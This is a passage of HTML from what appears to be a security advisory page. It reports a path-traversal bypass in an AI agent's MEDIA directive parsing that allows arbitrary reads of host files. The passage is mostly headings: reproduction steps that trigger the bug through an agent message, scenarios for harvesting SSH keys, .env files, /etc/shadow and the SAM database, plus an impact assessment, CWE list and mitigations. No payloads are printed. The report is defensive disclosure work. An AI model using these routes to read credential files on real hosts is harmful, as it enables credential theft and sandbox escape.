id="3230f0c5b87c80f8af06d2253d17e675" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f8af06d2253d17e675" title="Verification Results"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Verification Results</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8007a6b1cd613751f712"><b>File</b>: <code class="notion-inline-code">VERIFICATION_NEW2_MEDIA_PARSE_BYPASS.md</code> (85 pages)</div><div class="notion-text notion-block-3230f0c5b87c80e085def037b07a69d5">Summary of test results:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802da0e1dbf108802c75" data-id="3230f0c5b87c802da0e1dbf108802c75"><span><div id="3230f0c5b87c802da0e1dbf108802c75" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802da0e1dbf108802c75" title="Manual Reproduction Steps"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Manual Reproduction Steps</span></span></h4><div class="notion-text notion-block-3230f0c5b87c806d8e69da3fcc949426"><b>Step 1: Identify Current Patch Level</b></div><div class="notion-text notion-block-3230f0c5b87c805c9ae3e79434df567f"><b>Step 2: Select Appropriate Bypass Payload</b></div><div class="notion-text notion-block-3230f0c5b87c80bab2bfde7c11a5dc76"><b>Step 3: Trigger via Agent Message</b></div><div class="notion-text notion-block-3230f0c5b87c80b1a57ae0db4e449086"><b>Step 4: Verify File Access</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c801f9dfef43dc49b3c0a" data-id="3230f0c5b87c801f9dfef43dc49b3c0a"><span><div id="3230f0c5b87c801f9dfef43dc49b3c0a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c801f9dfef43dc49b3c0a" title="Attack Scenarios"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Attack Scenarios</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c805db989f2f54ffd9f15" data-id="3230f0c5b87c805db989f2f54ffd9f15"><span><div id="3230f0c5b87c805db989f2f54ffd9f15" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c805db989f2f54ffd9f15" title="Scenario 1: SSH Key Harvesting"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario 1: SSH Key Harvesting</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80989d46d637ee8c7900" data-id="3230f0c5b87c80989d46d637ee8c7900"><span><div id="3230f0c5b87c80989d46d637ee8c7900" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80989d46d637ee8c7900" title="Scenario 2: Application Configuration Theft"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario 2: Application Configuration Theft</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c809a86f3f39852ff5d65" data-id="3230f0c5b87c809a86f3f39852ff5d65"><span><div id="3230f0c5b87c809a86f3f39852ff5d65" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c809a86f3f39852ff5d65" title="Scenario 3: Windows SAM Database Access"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario 3: Windows SAM Database Access</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803698bfeae16a108013" data-id="3230f0c5b87c803698bfeae16a108013"><span><div id="3230f0c5b87c803698bfeae16a108013" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803698bfeae16a108013" title="Scenario 4: Docker Socket Exposure"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario 4: Docker Socket Exposure</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80179fa1ddf64e0bb601" data-id="3230f0c5b87c80179fa1ddf64e0bb601"><span><div id="3230f0c5b87c80179fa1ddf64e0bb601" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80179fa1ddf64e0bb601" title="Scenario 5: MCP Resource Injection (NEW)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scenario 5: MCP Resource Injection (NEW)</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80728529d9bb2e995f36" data-id="3230f0c5b87c80728529d9bb2e995f36"><span><div id="3230f0c5b87c80728529d9bb2e995f36" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80728529d9bb2e995f36" title="Impact Assessment"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact Assessment</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8071b421f33cef3b2c9d" data-id="3230f0c5b87c8071b421f33cef3b2c9d"><span><div id="3230f0c5b87c8071b421f33cef3b2c9d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8071b421f33cef3b2c9d" title="Confidentiality Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Confidentiality Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80458dfccb26eb984228"><li><b>High</b>: Arbitrary file read on host filesystem</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80109054d3f912d5121f"><li>Attacker can access:</li><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80109054d3f912d5121f"><li>System credentials (/etc/shadow, SAM database)</li><li>Application secrets (.env files, config files)</li><li>SSH private keys</li><li>Database files</li><li>Source code and proprietary data</li></ul></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c98f78d9bd84a57f94" data-id="3230f0c5b87c80c98f78d9bd84a57f94"><span><div id="3230f0c5b87c80c98f78d9bd84a57f94" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c98f78d9bd84a57f94" title="Integrity Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Integrity Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c09a7ef5ebbdccd5c1"><li><b>None</b>: Read-only vulnerability (file write not demonstrated)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80cd9bdfc67e603eda33" data-id="3230f0c5b87c80cd9bdfc67e603eda33"><span><div id="3230f0c5b87c80cd9bdfc67e603eda33" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80cd9bdfc67e603eda33" title="Availability Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Availability Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8093857af566eb18ff47"><li><b>None</b>: No direct DoS vector</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c805f83f3e0e185f46126" data-id="3230f0c5b87c805f83f3e0e185f46126"><span><div id="3230f0c5b87c805f83f3e0e185f46126" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c805f83f3e0e185f46126" title="Scope Change"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scope Change</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8074b4f9e4f18443e886"><li><b>Yes</b>: Escapes sandbox boundary to access host filesystem</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c800fa123fa0efa96c066" data-id="3230f0c5b87c800fa123fa0efa96c066"><span><div id="3230f0c5b87c800fa123fa0efa96c066" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c800fa123fa0efa96c066" title="Business Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Business Impact</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c801b8c0ed7d3ffa515b5"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c8082bbd0e7fba3b996c5"><td class="" style="width:120px"><div class="notion-simple-table-cell">Category</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Impact</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80d493d3d7107f31dbbe"><td class="" style="width:120px"><div class="notion-simple-table-cell">Compliance</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GDPR Art. 32 (data breach), PCI-DSS 6.5.1 (injection)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80ff9ae2c7228509c311"><td class="" style="width:120px"><div class="notion-simple-table-cell">Financial</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Data breach notification costs, regulatory fines</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80528538d5352301d63e"><td class="" style="width:120px"><div class="notion-simple-table-cell">Reputation</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Exposure of customer data damages trust</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c806b8535f6833626bc62"><td class="" style="width:120px"><div class="notion-simple-table-cell">Operational</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Need to audit all media access logs</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807cba27e107a33822ea" data-id="3230f0c5b87c807cba27e107a33822ea"><span><div id="3230f0c5b87c807cba27e107a33822ea" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807cba27e107a33822ea" title="CWE Classification"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">CWE Classification</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c806b8df5c4d9fc0e1357"><li><b>CWE-22</b>: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c5a463eaa32399de68"><li><b>CWE-41</b>: Improper Resolution of Path Equivalence</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807e8348c19339c08070"><li><b>CWE-73</b>: External Control of File Name or Path</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c801f851dd60969d107cf"><li><b>CWE-706</b>: Use of Incorrectly-Resolved Name or Reference</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80cfad34d69acf714d83" data-id="3230f0c5b87c80cfad34d69acf714d83"><span><div id="3230f0c5b87c80cfad34d69acf714d83" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80cfad34d69acf714d83" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8043a7f5ebe7a558d765"><li>All versions implementing MEDIA directive parsing</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80ffbceef6fc7594a8fb"><li>Multiple patch attempts (2024-2025) partially ineffective</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8093bb46e75f1c3d4952"><li>Confirmed exploitable as of 2026-03-11 testing</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c808e9643e35647073bf8" data-id="3230f0c5b87c808e9643e35647073bf8"><span><div id="3230f0c5b87c808e9643e35647073bf8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c808e9643e35647073bf8" title="Prerequisites"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Prerequisites</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80f9932ae4746302c7bb"><li>Attacker requires <b>authenticated user</b> access (any role)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c1b3fbc6995d1ec4e3"><li>Ability to send messages to agents with MEDIA directive support</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80d5bdaadcee2ba12fe2"><li>Knowledge of target file paths on host system</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f4849dd778607f091d" data-id="3230f0c5b87c80f4849dd778607f091d"><span><div id="3230f0c5b87c80f4849dd778607f091d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f4849dd778607f091d" title="Patch History Analysis"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Patch History Analysis</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8039b720fd1da2c0b8bd" data-id="3230f0c5b87c8039b720fd1da2c0b8bd"><span><div id="3230f0c5b87c8039b720fd1da2c0b8bd" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8039b720fd1da2c0b8bd" title="Historical Patches (Incomplete)"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Historical Patches (Incomplete)</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8089b34fe65049c7cf75" data-id="3230f0c5b87c8089b34fe65049c7cf75"><span><div id="3230f0c5b87c8089b34fe65049c7cf75" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8089b34fe65049c7cf75" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80a9a038cd43e996a4e8" data-id="3230f0c5b87c80a9a038cd43e996a4e8"><span><div id="3230f0c5b87c80a9a038cd43e996a4e8" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80a9a038cd43e996a4e8" title="Immediate Mitigations"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Immediate Mitigations</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8071aefed5f865be0599"><b>1. Strict Path Containment Check</b></div><div class="notion-text notion-block-3230f0c5b87c801891beda7042bc1736"><b>2. Input Validation Allowlist</b></div><div class="notion-text notion-block-3230f0c5b87c8037a71ce87f5ab06a15"><b>3. Disable Symlink Following</b></div><div class="notion-text notion-block-3230f0c5b87c80699552e2ec37140754"><b>4. Implement File Type Allowlist</b></div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80bfb992e043ef57ee20" data-id="3230f0c5b87c80bfb992e043ef57ee20"><span><div id="3230f0c5b87c80bfb992e043ef57ee20" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80bfb992e043ef57ee20" title="Long-term Solutions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Long-term Solutions</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80079038cca1807b446d" style="list-style-type:decimal"><li><b>Remove MEDIA directive entirely</b> - Replace with explicit file upload API</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80c2b3efe78891adb818" style="list-style-type:decimal"><li><b>Implement virtual filesystem</b> - Use content-addressed storage instead of path-based</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80628c4cf87c853b07e8" style="list-style-type:decimal"><li><b>Add security audit logging</b> - Log all MEDIA directive usage with user context</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80778228c50886fd8460" style="list-style-type:decimal"><li><b>Deploy filesystem-level restrictions</b> - Use AppArmor/SELinux profiles to restrict file access</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8079ad1aef289878cb7c" data-id="3230f0c5b87c8079ad1aef289878cb7c"><span><div id="3230f0c5b87c8079ad1aef289878cb7c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8079ad1aef289878cb7c" title="Detection Methods"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 